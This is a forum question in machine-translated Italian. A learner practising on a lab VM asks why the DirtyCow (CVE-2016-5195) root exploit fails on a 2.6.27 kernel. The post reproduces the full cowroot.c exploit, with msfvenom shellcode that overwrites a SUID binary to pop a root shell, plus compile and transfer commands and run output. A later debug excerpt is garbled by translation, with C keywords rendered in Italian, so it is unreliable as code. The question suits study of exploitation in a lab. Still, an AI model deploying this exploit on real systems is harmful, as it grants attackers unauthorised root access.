Sto cercando di imparare i test di penetrazione. Mentre imparavo stavo cercando di praticare anche da solo. Avevo trovato un'immagine vulnerabile denominata ICE 120 in Internet, un'applicazione Web vulnerabile e in grado di ottenere nomi utente e hash per il sistema dopo l'utilizzo di SQL injection.
Ora, mentre mi collegavo a quel sistema con un utente non privilegiato, stavo tentando di estendere il privilegio usando la vulnerabilità di dirtycow CVE-2016-5195.
Trovate le seguenti informazioni sul kernel e un codice di esempio che stavo usando da github, ma sembra che non funzioni. Dato che sono un principiante, apprezzerei molto la tua guida per capire se sto facendo qualcosa di sbagliato o che il kernel non è affatto sfruttabile. Si prega di notare che sto usando l'immagine della macchina virtuale per esercitarmi.
Victim Kernel:
/home/jdavenport >>uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
/home/jdavenport >>
Sto usando il codice seguente di github (ho provato poche altre varianti di github che usano lo stesso concetto di dirtycow). Ho compilato questo codice in realtà in macchina Kali (un'altra macchina virtuale nel mio laboratorio di test come macchina attaccante) usando "gcc -o cowroot cowroot.c -m32 -pthread" come la macchina della vittima stava lanciando qualche errore di compilazione per "tipo di struttura non valido ". Quindi ho usato scp per trasferire il codice binario del mio computer vittima.
scp cowroot [email protected]:/home/jdavenport/cowroot1
Per vostra informazione il mio Kali Kernel è il seguente
Linux kali 4.8.0-kali2-amd64 # 1 SMP Debian 4.8.15-1kali1 (2016-12-23) x86_64 GNU / Linux.
Il codice di Dirtycow che ho usato è il seguente:
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/etc/passwd";
/*
* msfvenom -p linux/x64/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4e, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x3c, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27,
0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73,
0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72,
0x69, 0x74, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74,
0x69, 0x73, 0x65, 0x63, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62,
0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 227;
*/
/*
* msfvenom -p linux/x86/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xba, 0x00, 0x00, 0x00,
0x20, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x3c, 0x00, 0x00, 0x00,
0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27, 0x20, 0x3e, 0x20, 0x2f,
0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f,
0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62,
0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63,
0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00,
0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 186;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
Dopo aver eseguito il codice, viene semplicemente completato senza aprire nuove shell o altro.
/home/jdavenport >>./cowroot1
DirtyCow root privilege escalation
Backing up /etc/passwd to /tmp/bak
Size of binary: 3372
Racing, this may take a while..
thread stopped
thread stopped
* Aggiornamento 08/04/2017 * Come consigliato da Josh, ora ho modificato il programma c di cowroot con il binario SUID corretto che ha anche il permesso di lettura per gli utenti non privilegiati.
jdavenport@slax:/usr/bin$ ls -lrt kcheckpass
-rwsr-xr-x 1 root root 10104 Oct 26 2008 kcheckpass*
Ancora non sono in grado di sfruttare la vulnerabilità. Nella mia mente ci potrebbero essere un paio di motivi -
- Il kernel non è vulnerabile
La mia tesi è che la versione del kernel mostra che dovrebbe essere vulnerabile
jdavenport@slax:/usr/bin$ uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
jdavenport@slax:/usr/bin$
- Il codice exploit non funziona come previsto.
-
Penso di aver trovato una ragione ed è legato alla discussione.
-
Ho letto il concetto di copia sporca sull'uso di scrittura e sembra che dipende completamente dalle condizioni di gara a causa di due simultanei thread che cercano di funzionare (madvise e scrittura privata) sul file.
-
Ho modificato il programma C per stampare all'interno dei thread e reindirizzato a un file di registro per un'analisi successiva. Un estratto è il seguente:
void * madviseThread (void * arg) { char str; str = (char ) arg; int i, c = 0; per (i = 0; i < 10000000 & &! stop; i ++) { c + = madvise (cartina, 100, MADV_DONTNEED); printf ("t1 = >% d \ n", c); } printf ("thread stopped \ n"); }
void * procselfmemThread (void * arg) { char str; str = (char ) arg; int f = open ("/ proc / self / mem", O_RDWR); int i, c = 0; per (i = 0; i < 10000000 & &! stop; i ++) { lseek (f, mappa, SEEK_SET); c + = write (f, str, sc_len); printf ("t2 = >% d \ n", c); } printf ("thread stopped \ n"); }
- Durante l'analisi dei log, sembra che i thread stiano lavorando in un cluster modo per es. mazzo di esecuzione del thread 1 e quindi un gruppo di esecuzione del thread 2. Un esempio: mentre il conteggio della prima occorrenza del thread 2 viene trovato dopo 35142 linee
root @ kali: ~ # grep -n "t2 = > -1" cowlog.txt | capo -10
35413: t2 = > -1 35422: t2 = > -10 35423: t2 = > -11 35424: t2 = > -12 35425: t2 = > -13 35426: t2 = > -14 35427: t2 = > -15 35428: t2 = > -16 35429: t2 = > -17 35430: t2 = > -18
-
La mia versione GCC da cui ho compilato il codice è la seguente
root @ kali: ~ # gcc --versione
gcc (Debian 6.3.0-11) 6.3.0 20170321 Copyright (C) 2016 Free Software Foundation, Inc. Questo è software libero; vedere la fonte per le condizioni di copia. Non c'è garanzia; nemmeno per COMMERCIABILITÀ o IDONEITÀ PER UN PARTICOLARE SCOPO.
root @ kali: ~ #
E ho compilato il mio programma usando il sotto
gcc -o cowroot cowroot.c -m32 -pthread
Il tuo consiglio di esperti sarebbe molto apprezzato.